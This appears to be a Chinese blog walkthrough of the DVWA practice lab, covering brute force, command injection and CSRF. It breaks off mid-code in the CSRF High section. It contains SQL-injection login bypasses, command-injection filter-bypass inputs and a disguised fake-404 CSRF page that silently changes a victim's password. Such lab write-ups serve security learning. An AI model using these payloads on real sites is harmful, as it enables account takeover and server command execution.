天天看點

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

~目錄~

  • 開始
  • Brute Force
    • 四種爆破模式
    • Low
    • Medium
    • High
    • Impossible
  • Command Injection
    • 亂碼解決方法
    • Low
    • Medium
    • High
    • Impossible
  • CSRF
    • Low
    • Medium
    • High
    • Impossible
  • File Inclusion
    • Low
    • Medium
    • High
    • Impossible
  • File Upload
    • Low
    • Medium
    • High
    • Impossible
  • Insecure CAPTCHA(未科學上網)
    • Low
    • Medium
    • High
    • Impossible
  • 總結

開始

開始日DVWA

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

一個大佬

Brute Force

Brute Force即暴力破解,需要用到

Burp Suite

中的

Intruder

四種爆破模式

1.Sniper

這個是我們最常用的,Sniper是狙擊手的意思。這個模式會使用單一的payload【就是導入字典的payload】組。它會針對每個position中$$位置設定payload。這種攻擊類型适合對常見漏洞中的請求參數單獨地進行測試。攻擊中的請求總數應該是position數量和payload數量的乘積

2.Battering ram

這一模式是使用單一的payload組。它會重複payload并且一次把所有相同的payload放入指定的位置中。這種攻擊适合那種需要在請求中把相同的輸入放到多個位置的情況。請求的總數是payload組中payload的總數。簡單說就是一個playload字典同時應用到多個position中

3.Pitchfork

這一模式是使用多個payload組。對于定義的位置可以使用不同的payload組。攻擊會同步疊代所有的payload組,把payload放入每個定義的位置中。比如:position中A處有a字典,B處有b字典,則a【1】将會對應b【1】進行attack處理,這種攻擊類型非常适合那種不同位置中需要插入不同但相關的輸入的情況。請求的數量應該是最小的payload組中的payload數量

4.Cluster bomb

這種模式會使用多個payload組。每個定義的位置中有不同的payload組。攻擊會疊代每個payload組,每種payload組合都會被測試一遍。比如:position中A處有a字典,B處有b字典,則兩個字典将會循環搭配組合進行attack處理這種攻擊适用于那種位置中需要不同且不相關或者未知的輸入的攻擊。攻擊請求的總數是各payload組中payload數量的乘積

Low

任意輸入賬号密碼抓包,發送到

Intruder

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

發現已經對所有可能的爆破點進行标記,我們點選

Clear

,将所有的标記清除

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

選擇

Attack type

Cluster bomb

,在

username

password

位置添加标記

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Payload set

1和2導入字典

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結
DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

然後

Start attack

,發現一個

Length

與其他不同的,這個就是正确的賬号密碼了

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

回去驗證一下,成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

檢視源碼

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
           

發現存在sql注入

Username:admin’or’1’='1

Password:(空)

Username :admin’#

Password :(空)

Medium

檢視源碼

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check the database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( 2 );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

           

mysqli_real_escape_string()

函數對使用者名和密碼進行了轉義操作,避免了sql注入

文法:

mysqli_real_escape_string(connection,escapestring)

參數:

connection 必需 規定要使用的 MySQL 連接配接

escapestring 必需 要轉義的字元串 編碼的字元是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z

采用Low的方法依舊可以爆破出,隻不過時間長了很多,因為有一個

sleep()

函數,試一次賬号密碼要2秒才能嘗試下一個

High

檢視源碼

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_GET[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_GET[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Check database
	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row    = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		sleep( rand( 0, 3 ) );
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

stripslashes()

函數删除由

addslashes()

函數添加的反斜杠

stripslashes()函數

文法:

stripslashes(string)

參數:

string 必需 規定要檢查的字元串

提示:該函數可用于清理從資料庫中或者從 HTML 表單中取回的資料

addslashes()函數

預定義字元是:

單引号(’) 雙引号(") 反斜杠(\) NULL

提示:該函數可用于為存儲在資料庫中的字元串以及資料庫查詢語句準備字元串

注釋:預設地,PHP 對所有的 GET、POST 和 COOKIE 資料自動運作 addslashes(),是以您不應對已轉義過的字元串使用addslashes(),因為這樣會導緻雙層轉義,遇到這種情況時可以使用函數 get_magic_quotes_gpc() 進行檢測

同時,增加了

token

驗證,每次伺服器傳回的登陸頁面中都會包含一個随機的

user_token

的值, 使用者每次登入時都要将

user_token

一起送出。伺服器收到請求後,會優先做token的檢查,再進行sql查詢

抓包,設定變量,這裡我們設定

password

user_token

為payload

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

在Options中找到Grep-Extract

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

點選Add,然後Refetch response,選中user_token的value值,自動比對正則擷取

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

線程設定為1,因為Recursive_Grep模式不支援多線程攻擊

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

設定Redirections為Always

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

位置1處導入密碼字典

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

位置2處type選擇Recursive grep,然後在下方填入抓包擷取的user_token值

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

然後爆破出密碼

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Impossible

檢視源碼

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Sanitise username input
	$user = $_POST[ 'username' ];
	$user = stripslashes( $user );
	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitise password input
	$pass = $_POST[ 'password' ];
	$pass = stripslashes( $pass );
	$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass = md5( $pass );

	// Default values
	$total_failed_login = 3;
	$lockout_time       = 15;
	$account_locked     = false;

	// Check the database (Check user information)
	$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// Check to see if the user has been locked out.
	if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
		// User locked out.  Note, using this method would allow for user enumeration!
		//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

		// Calculate when the user would be allowed to login again
		$last_login = strtotime( $row[ 'last_login' ] );
		$timeout    = $last_login + ($lockout_time * 60);
		$timenow    = time();

		/*
		print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
		print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
		print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
		*/

		// Check to see if enough time has passed, if it hasn't locked the account
		if( $timenow < $timeout ) {
			$account_locked = true;
			// print "The account is locked<br />";
		}
	}

	// Check the database (if username matches the password)
	$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR);
	$data->bindParam( ':password', $pass, PDO::PARAM_STR );
	$data->execute();
	$row = $data->fetch();

	// If its a valid login...
	if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
		// Get users details
		$avatar       = $row[ 'avatar' ];
		$failed_login = $row[ 'failed_login' ];
		$last_login   = $row[ 'last_login' ];

		// Login successful
		$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
		$html .= "<img src=\"{$avatar}\" />";

		// Had the account been locked out since last login?
		if( $failed_login >= $total_failed_login ) {
			$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
			$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
		}

		// Reset bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	} else {
		// Login failed
		sleep( rand( 2, 4 ) );

		// Give the user some feedback
		$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

		// Update bad login count
		$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
		$data->bindParam( ':user', $user, PDO::PARAM_STR );
		$data->execute();
	}

	// Set the last login time
	$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
	$data->bindParam( ':user', $user, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

可以看到Impossible加入了更可靠的防爆破機制,同時采用了更為安全的

PDO

(PHP Data Object)機制防禦sql注入,這是因為不能使用

PDO

擴充本身執行任何資料庫操作,而sql注入的關鍵就是通過破壞sql語句結構執行惡意的sql指令

頻繁的錯誤登入系統會将賬戶鎖定

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Command Injection

Command Injection即指令行注入

亂碼解決方法

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

在 …/DVWA/dvwa/includes目錄下,有個dvwaPage.inc.php檔案,直接搜尋charset(在277行),将utf-8修改為GBK

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

這樣就顯示正确了

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Low

輸入127.0.0.1&&ipconfig,成功回顯

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

檢視源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

           

$_REQUEST

— HTTP Request 變量,預設情況下包含了

$_GET

$_POST

$_COOKIE

的數組

php_uname

— 傳回運作 PHP 的系統的有關資訊

‘a’:此為預設。包含序列 “s n r v m” 裡的所有模式

‘s’:作業系統名稱。例如: FreeBSD

‘n’:主機名。例如: localhost.example.com

‘r’:版本名稱,例如: 5.1.2-RELEASE

‘v’:版本資訊。作業系統之間有很大的不同

‘m’:機器類型。例如:i386

stristr()

函數搜尋字元串在另一字元串中的第一次出現

文法:

stristr(string,search,before_search)

參數:

string 必需 規定被搜尋的字元串

search 必需 規定要搜尋的字元串,如果該參數是數字,則搜尋比對該數字對應的 ASCII 值的字元

before_search 可選 預設值為"false" 的布爾值,如果設定為 “true”,它将傳回 search 參數第一次出現之前的字元串部分

shell_exec(cmd)

:在外部執行一個指令,參數cmd即為要執行的指令

這關是執行一個在浏覽器上的ping指令程式,伺服器會對作業系統的名稱進行檢測,如果不是Windows NT系統則執行linux系統的Ping指令。但是,由于伺服器未對ip參數進行任何的過濾,是以存在Command Injection漏洞

以下三種連接配接符在windows和linux環境下都支援:

指令1 && 指令2 :先執行指令1,若指令1執行成功再執行指令2,若指令1執行不成功則不執行指令2

指令1 & 指令2 :先執行指令1,不管指令1執行成不成功都繼續執行指令2

指令1 | 指令2 :隻執行指令2,前提是指令1必須執行成功

||僅支援windows:

指令1 || 指令2 :先執行指令1,若指令1執行成功則不執行指令2,若指令1執行不成功則執行指令2

Medium

檢視源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Set blacklist
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

           

發現黑名單,将&&和;替換為空

可以&;&繞過:

127.0.0.1 &;& ipconfig
           

當然還可以使用&、||、|

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

High

檢視源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = trim($_REQUEST[ 'ip' ]);

	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

           

發現黑名單過濾了更多字元

但是

'| ' => ''

過濾的是

|空格

,是以 | 可以繼續使用

|;|

也是可以的

127.0.0.1|ipconfig
           
DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Impossible

檢視源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$target = $_REQUEST[ 'ip' ];
	$target = stripslashes( $target );

	// Split the IP into 4 octects
	$octet = explode( ".", $target );

	// Check IF each octet is an integer
	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
		// If all 4 octets are int's put the IP back together.
		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

		// Determine OS and execute the ping command.
		if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
			// Windows
			$cmd = shell_exec( 'ping  ' . $target );
		}
		else {
			// *nix
			$cmd = shell_exec( 'ping  -c 4 ' . $target );
		}

		// Feedback for the end user
		$html .= "<pre>{$cmd}</pre>";
	}
	else {
		// Ops. Let the user name theres a mistake
		$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

           

explode(separator,string,limit)

函數把字元串打散為數組,傳回字元串的數組。參數

separator

規定在哪裡分割字元串,參數

string

是要分割的字元串,可選參數

limit

規定所傳回的數組元素的數目

is_numeric(string)

函數檢測

string

是否為數字或數字字元串,如果是傳回

TRUE

,否則傳回

FALSE

可以看到,Impossible級别的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,隻有諸如“數字.數字.數字.數字”的輸入才會被接收執行,是以不存在指令注入漏洞

CSRF

CSRF即跨站請求僞造

Low

輸入兩次密碼,更改成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

連結變成了

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

那麼我們可以構造一個CSRF攻擊的連結,用同一個浏覽器點選這個連結

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

就會改掉密碼,變成password

需要注意的是,CSRF最關鍵的是利用受害者的cookie向伺服器發送僞造請求,是以如果受害者之前用Firefox登入的這個系統,而用Chrome點選這個連結,攻擊是不會觸發的,因為Chrome并不能利用Firefox的cookie,是以會自動跳轉到登入界面

檢視源碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

           

先得到get送出的兩個密碼,驗證兩次密碼是否一緻

然後檢測

$GLOBALS["___mysqli_ston"]

全局資料庫連接配接變量是否設定和它是否是一個對象。如果是的話,用

mysqli_real_escape_string()

函數去轉義一些字元,如果不是的話用

trigger_error

輸出錯誤

将密碼md5加密,進行sql語句操作,修改密碼

模拟一下真實環境:

A:直接讓受害者通路

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

一眼就看出來這是個改密碼的連結

可以采取短連結隐藏url(由于域名是ip,是以無法修改,真實環境下是可以的)

不過受害者通路後可以看到自己密碼被修改

B:找到 Generate CSRF PoC

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

把其中的檔案提取出來,複制之後,建立一個.html檔案

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="123" />
      <input type="hidden" name="password&#95;conf" value="123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
           

點選submit,修改成功(這種方式受害者也會看到密碼被修改成功)

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

C:可以寫一個404界面

<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>


           

這種方式通路.html時,受害者會誤認為是自己點選的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了password

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

Medium

檢視源碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

           

$_SERVER['HTTP_REFERER']

可以擷取目前連結的上一個連接配接的來源位址

$_SERVER['SERVER_NAME']

獲得主機名

stripos()

查找字元串首次出現的位置(不區分大小寫),如果未發現将傳回

FALSE

這個級别在上一級别增加了驗證

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

必須在

http_referer

頭裡包含有網站

host

主機内容

我們直接通路這個連結

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change#

會提示如下:

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

抓包,發現缺少了Referer頭,我們給它加上(隻要包含host就可),就可以修改成功

DVWA Brute Force | Command Injection | CSRF | File Inclusion | File Upload | Insecure CAPTCHA開始Brute ForceCommand InjectionCSRFFile InclusionFile UploadInsecure CAPTCHA(未科學上網)總結

High

檢視源碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
